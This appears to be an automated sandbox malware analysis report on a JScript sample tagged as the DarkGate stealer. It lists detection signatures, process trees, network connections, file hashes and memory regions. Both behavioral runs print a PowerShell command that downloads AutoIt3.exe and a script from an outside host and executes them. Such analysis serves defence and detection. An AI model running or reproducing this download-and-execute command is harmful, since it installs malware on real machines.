Malware Analysis Report

2024-11-30 11:17

Sample ID 231101-ryn7sabf34
Target 01112023_2236_start.js
SHA256 b1c78d7293024f04bd2b4f48e5be730f852a7171c977b192b612cb215efa8fa5
Tags
darkgate ads5 stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b1c78d7293024f04bd2b4f48e5be730f852a7171c977b192b612cb215efa8fa5

Threat Level: Known bad

The file 01112023_2236_start.js was found to be: Known bad.

Malicious Activity Summary

darkgate ads5 stealer

DarkGate

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

Checks computer location settings

Enumerates physical storage devices

Checks processor information in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-01 14:36

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-01 14:36

Reported

2023-11-01 14:39

Platform

win7-20231023-en

Max time kernel

121s

Max time network

124s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\01112023_2236_start.js

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\01112023_2236_start.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msixkotmboi' -OutFile 'xkotmboi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'xkotmboi.au3'"

Network

N/A

Files

memory/3028-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

memory/3028-5-0x0000000002460000-0x0000000002468000-memory.dmp

memory/3028-6-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp

memory/3028-7-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp

memory/3028-9-0x00000000027A0000-0x0000000002820000-memory.dmp

memory/3028-8-0x00000000027A0000-0x0000000002820000-memory.dmp

memory/3028-10-0x00000000027A0000-0x0000000002820000-memory.dmp

memory/3028-11-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-11-01 14:36

Reported

2023-11-01 14:39

Platform

win10v2004-20231023-en

Max time kernel

156s

Max time network

147s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\01112023_2236_start.js

Signatures

DarkGate

stealer darkgate

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\tepp\AutoIt3.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\tepp\AutoIt3.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\tepp\AutoIt3.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\01112023_2236_start.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msixkotmboi' -OutFile 'xkotmboi.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'xkotmboi.au3'"

C:\tepp\AutoIt3.exe

"C:\tepp\AutoIt3.exe" xkotmboi.au3

Network

Country Destination Domain Proto
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 254.177.238.8.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 sftp.bitepieces.com udp
US 185.174.101.224:443 sftp.bitepieces.com tcp
US 8.8.8.8:53 198.1.85.104.in-addr.arpa udp
US 8.8.8.8:53 224.101.174.185.in-addr.arpa udp
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 185.174.101.224:443 sftp.bitepieces.com tcp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 254.21.238.8.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 254.105.26.67.in-addr.arpa udp
US 8.8.8.8:53 13.173.189.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pr40m2p2.chg.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/488-9-0x000001EED8720000-0x000001EED8742000-memory.dmp

memory/488-10-0x00007FFE54C80000-0x00007FFE55741000-memory.dmp

memory/488-11-0x000001EED65A0000-0x000001EED65B0000-memory.dmp

memory/488-12-0x000001EED65A0000-0x000001EED65B0000-memory.dmp

memory/488-13-0x000001EED65A0000-0x000001EED65B0000-memory.dmp

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

C:\tepp\AutoIt3.exe

MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

memory/488-27-0x00007FFE54C80000-0x00007FFE55741000-memory.dmp

C:\tepp\xkotmboi.au3

MD5 4504ac54e258744525e8636a5c93a4fb
SHA1 60697a5ef3bd1ddcc3622223985ca1f014b42bdd
SHA256 3115be830309a4e99d9ca069e0157ee42b06268c89f4079e4925930bd3b64df9
SHA512 dfb6622ef4bfa7f0d408da396b9f33cb29f637ec37e52b0ec4e4d7b9fb9578d5b356ecc1b59f0b65dbaeec4a9d51133fd3e6ae4aa01285d706dd25037f8ba0a9

memory/4684-30-0x00000000016D0000-0x0000000001AD0000-memory.dmp

memory/4684-31-0x00000000047D0000-0x0000000004AFA000-memory.dmp

memory/4684-32-0x00000000047D0000-0x0000000004AFA000-memory.dmp